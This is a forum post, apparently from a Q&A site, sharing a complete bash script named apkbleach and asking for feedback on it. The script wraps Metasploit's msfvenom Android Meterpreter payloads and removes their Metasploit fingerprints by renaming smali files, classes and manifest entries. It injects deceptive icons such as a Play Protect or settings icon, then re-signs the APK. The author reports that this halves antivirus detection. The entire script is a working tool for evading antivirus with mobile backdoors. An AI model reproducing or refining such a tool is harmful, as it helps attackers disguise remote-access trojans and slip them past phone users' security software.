0

I have written a little script that does a pretty good job of obfuscating android/meterpreter payloads. It will generate payloads or used supplied msf payloads while also injecting a custom icon. The Original payload generated by metasploits msfvenom triggers 28 0f 60 anti-viruses on virustotal.com. After running my script it only triggers. 12 of 60.

I have a github here https://github.com/graylagx2/apkbleach

I would really appreciate anyone that cares to provide feed back on the code or the techniques used as this is the first public release of this script.

#!/bin/bash 

# Author: graylagx2
# Version: 1.0
# Description: This script will remove the obvious fingerprints of metasploit through out a given apk file.
# Contact: graylagx2@gmail.com

RED=$'\e[1;31m'
GREEN=$'\e[1;32m'  
YELLOW=$'\e[1;33m'
BLUE=$'\e[1;34m'
RESTORE=$'\e[0m'

spinLoader() {
pid=$!
spin='\|/-'
i=0
while kill -0 $pid 2>/dev/null
do
  i=$(( (i+1) %4 ))
  printf "\r${BLUE}[${spin:$i:1}]${RESTORE} $PROG_MESSAGE"
  sleep .1
done
printf "\r   ${GREEN}[-]${RESTORE} $COMP_MESSAGE"
sleep 1;echo 
}

# Checking internet connection and installing pkgs if needed 
installPkgs() {
    [[ $(wget -q --tries=5 --timeout=20 --spider http://google.com ; echo $?) != 0 ]] && echo -e "${RED}Warning!${YELLOW} This script needs an internet connection!" && echo && echo -e "${YELLOW}Please connect to the internet and try again.${RESTORE}" && exit
    apt-get install zipalign -y &>/dev/null &
    PROG_MESSAGE="Installing zipalign to align android applications "
    COMP_MESSAGE="Installed zipalign to align android applications "
    spinLoader;echo
}
[[ $(dpkg-query -s zipalign &>/dev/null ; echo $?) = 0 ]] || installPkgs

# Handling some input arguments
USAGE() {     
    echo -e "${GREEN}Usage:${RESTORE} apkbleach ${YELLOW}-g${RESTORE}  <android/payload/to/use LHOST=ip-address-to-use LPORT=port-to-use> ${YELLOW}-i${RESTORE}  <path/to/image.png> ${YELLOW}-o${RESTORE}  <path/to/outputname.apk>\n
${GREEN}Options:${RESTORE}
  ${YELLOW}-g${RESTORE}  <android/payload/to/use LHOST=ip-address-to-use LPORT=port-to-use>
      ${YELLOW}Generates obfuscated payload with nops${RESTORE}

  ${YELLOW}-i${RESTORE}  <path/to/image.png> [ use -i --list ] to list defaults
      ${YELLOW}Sets image as the icon of the file.apk${RESTORE}

  ${YELLOW}-o${RESTORE}  <path/to/outputname.apk>
      ${YELLOW}Sets the name of custom output file${RESTORE}

  ${YELLOW}-x${RESTORE}  <path/to/apk>
      ${YELLOW}Uses pre generated metasploit payload to obfuscate${RESTORE}  

  ${YELLOW}-h${RESTORE} ${YELLOW}Help menu${RESTORE}
";exit
}
[[ $# -eq 0 ]] && bash $0 -h && exit
while test $# -gt 0; do
    case "$1" in
        -h|--help)
                USAGE
                ;;
        -x)
                shift
                if [ $# -gt 0 ]; then
                    export APP_PATH=$1
                else
                    echo -e "${RED}ERROR: ${YELLOW}Input apk not set${RESTORE}"
                    USAGE
                fi
                shift
                ;;
        -g)
                shift
                if [ $# -gt 0 ]; then
                    export PAYLOAD=$1
                    export LHOST=$2
                    export LPORT=$3
                else
                    echo -e "${RED}ERROR: ${YELLOW}Input apk not set${RESTORE}"
                    USAGE
                fi
                shift 3
                ;;
        -o)
                shift
                if [ $# -gt 0 ]; then
                    export EXPORT_PATH=$(dirname $1)
                    export OUTPUT_NAME=$(basename $1)
                else
                    echo -e "${RED}ERROR: ${YELLOW}Output apk name not set${RESTORE}"
                    USAGE
                    exit 1
                fi
                shift
                ;;
        -i)
                shift
                if [ $# -gt 0 ]; then
                  if [ $1 = "--list" ]; then
                      echo -e "${YELLOW}ICONS: \n\nICONS/4g_signal.png\nICONS/settings.png\nICONS/signal.jpg\nICONS/secure.png\nICONS/android_studio.png\nICONS/play_protect.png"
                      exit
                  fi
                    export ICON_PATH=$1
                else
                    echo -e "${RED}ERROR: ${YELLOW}Input png image not set${RESTORE}"
                    USAGE
                    exit 1
                fi
                shift
                ;;
        *)
                USAGE
                ;;
    esac
done
echo -e "${BLUE}"
echo '
             ____ ____  __  _ ____  _       ___  ____    __ __ __ 
            /    |    \|  l/ |    \| T     /  _]/    T  /  |  T  T
           Y  o  |  o  |    /|  o  | |    /  [_Y  o  | /  /|  l  |
           |     |   _/|    \|     | l___Y    _|     |/  / |  _  |
           |  _  |  |  |     |  O  |     |   [_|  _  /   \_|  |  |
           |  |  |  |  |  .  |     |     |     |  |  \     |  |  |
           l__j__l__j  l__j\_l_____l_____l_____l__j__j\____l__j__j'                                                                     
echo -e "\n${YELLOW}                        Version: ${BLUE}1.0 ${YELLOW}Author: ${BLUE}graylagx2${RESTORE}\n"

# Variables to rename directories, files or pathways in apk
M_SMALI_DIR=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
S_SMALI_DIR=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
P_SMALI_FILE=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_ACTIVITY=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_SERVICE=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)
MAIN_BROADCAST_RECEIVER=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)  
MAIFEST_SCHEME=$(sort -R /usr/share/dict/words | head -1 | cut -d"'" -f1)

if [ ! -z $PAYLOAD ] && [ ! -z $LHOST ] && [ ! -z $LPORT ]; then
    (msfvenom -p "$PAYLOAD" "$LHOST" "$LPORT" --pad-nops R &>/dev/null > /tmp/service.apk || $(echo -e "${RED}ERROR${RESTORE} msfvenom failed checks options"; exit)) & 
    PROG_MESSAGE="Generating $PAYLOAD payload"
    COMP_MESSAGE="Generated $PAYLOAD payload"
    spinLoader;echo
    APP_PATH=/tmp/service.apk
    [[ -n $EXPORT_PATH ]] && APP_NAME=$OUTPUT_NAME || APP_NAME=$(basename $APP_PATH)
else 
    [[ -n $APP_PATH ]] && APP_NAME=$(basename $APP_PATH) || exit
fi

# Handling user ERROR on NO-PATH
#if [ $(echo $APP_PATH | grep "/" &>/dev/null; echo $?) = 1 ]; then
 #   echo -e "${BLUE}[!] ${YELLOW}You did not specify a path to original PAYLOAD please wait while we find it for you.${RESTORE}";echo
  #  APP_PATH=$(find / -name "$APP_PATH" ! -path '*/root/.local/share/Trash/files/*' 2>/dev/null)

   #     if (( $(echo $APP_PATH | cut -d '.' -f2 | wc -w) > 1 )); then 
    #        zenity --width=300 --height=200 --info --text="There are multiple PATHWAYS to your application: \n \n $APP_PATH \n \n When the file selection window opens please select the file you wish to use."
     #       APP_PATH=$(zenity --title="There are multiple PATHWAYS to your application please select one" --file-selection || echo -e "ERROR: No selection")
      # [[ $APP_PATH = "ERROR: No selection" ]] && echo -e "${RED}ERROR: ${YELLOW}No selection.${RESTORE}" && exit
#fi

# Handling user ERROR on NOT-VALID-APK
if [ $(zip -T $APP_PATH &>/dev/null; echo $?) != 0 ]; then
   zenity --width=250 --height=150 --info --text="$APP_PATH \n \n Is not a valid  PATH or APK when file selection window opens please select a valid apk file."
   APP_PATH=$(zenity --title="$APP_PATH is not a valid  PATH or APK please select a valid apk file." --file-selection || echo -e "ERROR: No selection")
   [[ $(zip -T $APP_PATH &>/dev/null; echo $?) != 0 ]] && echo -e "${RED}ERROR: ${YELLOW}Not valid APK.${RESTORE}" && exit
fi

# Decompile apk
(apktool -q d $APP_PATH -o /tmp/apkbleach/Decompiled; sleep 3) &
PROG_MESSAGE="Decompiling $(basename $APP_PATH)"
COMP_MESSAGE="Decompiled $(basename $APP_PATH)"
spinLoader;echo

# Injecting custom icon if -i is set
iconInject() {
    (sed -i 's|<application android:label="@string/app_name">|<application android:label="@string/app_name" android:icon="@drawable/icon" >|g' /tmp/apkbleach/Decompiled/AndroidManifest.xml;
     mkdir /tmp/apkbleach/Decompiled/res/drawable-ldpi-v4 /tmp/apkbleach/Decompiled/res/drawable-mdpi-v4 /tmp/apkbleach/Decompiled/res/drawable-hdpi-v4;
     convert -resize 72x72 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-hdpi-v4/icon.png;
     convert -resize 48x48 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-mdpi-v4/icon.png;
     convert -resize 36x36 $ICON_PATH /tmp/apkbleach/Decompiled/res/drawable-ldpi-v4/icon.png;
     sleep 3;) &
    PROG_MESSAGE="Injecting custom icon"
    COMP_MESSAGE="Injected custom icon"
}
if [ ! -z $ICON_PATH ] && [ $(file $ICON_PATH 2>/dev/null | grep "image" &>/dev/null; echo $?) = 0 ]; then
    iconInject && spinLoader;echo
elif [ ! -z $ICON_PATH ] && [ $(file $ICON_PATH 2>/dev/null | grep "image" &>/dev/null; echo $?) = 1 ]; then
    echo -e "${RED}[!] ${YELLOW}Inject icon flag set but no valid image or path was found!${RESTORE}"
fi 

# Change app name 
(sed -i "s/MainActivity/${APP_NAME%%.*}/g" /tmp/apkbleach/Decompiled/res/values/strings.xml;

# Shuffle permissions and replace any metasploit/stage or metasploit.stage pathways also version numbers and mentions of reciever service and activity.
sed -i "2,22{N;N;s/\(.*\)\n\(.*\)\n\(.*\)/\3\n\2\n\1/};s/platformBuildVersionCode=\"10\"/platformBuildVersionCode=\"27\"/g;s/platformBuildVersionName=\"2.3.3\"/platformBuildVersionName=\"8.1.0\"/g;s/metasploit.stage/$M_SMALI_DIR.$S_SMALI_DIR/g;s/metasploit/$MAIFEST_SCHEME/g;s/MainActivity/$MAIN_ACTIVITY/g;s/MainService/$MAIN_SERVICE/g;s/android:name=\".MainBroadcastReceiver\"/android:name=\".$MAIN_BROADCAST_RECEIVER\"/g" /tmp/apkbleach/Decompiled/AndroidManifest.xml;

# Renaming directorie-names and files-names to replace any mention of metaplsoit,stage or  Payload
mv /tmp/apkbleach/Decompiled/smali/com/metasploit/ /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/stage /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/Payload.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$P_SMALI_FILE.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainActivity.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_ACTIVITY.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainService.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_SERVICE.smali;
mv /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/MainBroadcastReceiver.smali /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/$MAIN_BROADCAST_RECEIVER.smali;

# Replacing any mention of metasploit-stage-payload in all smali files
sed -i "s/metasploit/$M_SMALI_DIR/g;s/stage/$S_SMALI_DIR/g;s/MainActivity/$MAIN_ACTIVITY/g;s/MainService/$MAIN_SERVICE/g;s/MainBroadcastReceiver/$MAIN_BROADCAST_RECEIVER/g;s/Payload/$P_SMALI_FILE/g" /tmp/apkbleach/Decompiled/smali/com/$M_SMALI_DIR/$S_SMALI_DIR/*;

sleep 3) & 
PROG_MESSAGE="Bleaching $(basename $APP_PATH)"
COMP_MESSAGE="Bleached $(basename $APP_PATH)"
spinLoader;echo

# Rebuild apk
[[ -z $EXPORT_PATH ]] && DEFAULT=service.apk && APP_NAME=service.apk || DEFAULT=$OUTPUT_NAME
(apktool -q b /tmp/apkbleach/Decompiled -o /tmp/apkbleach/temp.apk; sleep 3) &
PROG_MESSAGE="Rebuilding $(basename $APP_PATH) as $DEFAULT"
COMP_MESSAGE="Rebuilt $(basename $APP_PATH) as $DEFAULT"
spinLoader;echo

# Generate key,sign and align apk
(yes "yes" | keytool -genkey -v -keystore /tmp/apkbleach/${APP_NAME%%.*}.keystore -alias ${APP_NAME%%.*} -keyalg RSA -storepass password -keysize 2048 -keypass password -validity 10000 &>/dev/null;
 jarsigner -sigalg SHA1withRSA -digestalg SHA1 -storepass password -keypass password -keystore /tmp/apkbleach/${APP_NAME%%.*}.keystore /tmp/apkbleach/temp.apk ${APP_NAME%%.*} &>/dev/null;
 zipalign -f 4 /tmp/apkbleach/temp.apk /tmp/apkbleach/$APP_NAME) &
PROG_MESSAGE="Generating key --> Signing --> Aligning [$APP_NAME]"
COMP_MESSAGE="Generated key --> Signined --> Aligned [$APP_NAME]"
spinLoader;echo

# Move files into home directory/apkbleach/Clean and clean up
[[ ! -z $EXPORT_PATH ]] && [[ ! -d $EXPORT_PATH ]] && mkdir -p $EXPORT_PATH 
[[ -z $EXPORT_PATH ]] && EXPORT_PATH=$(pwd)

(mv --backup=t /tmp/apkbleach/$APP_NAME /tmp/apkbleach/${APP_NAME%%.*}.keystore -t $EXPORT_PATH; 
 rm -rf /tmp/apkbleach /tmp/service.apk;
sleep 3) &
PROG_MESSAGE="Moving $APP_NAME and ${APP_NAME%%.*}.keystore to $EXPORT_PATH"
COMP_MESSAGE="Moved $APP_NAME and ${APP_NAME%%.*}.keystore to $EXPORT_PATH"
spinLoader;echo;echo

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Browse other questions tagged or ask your own question.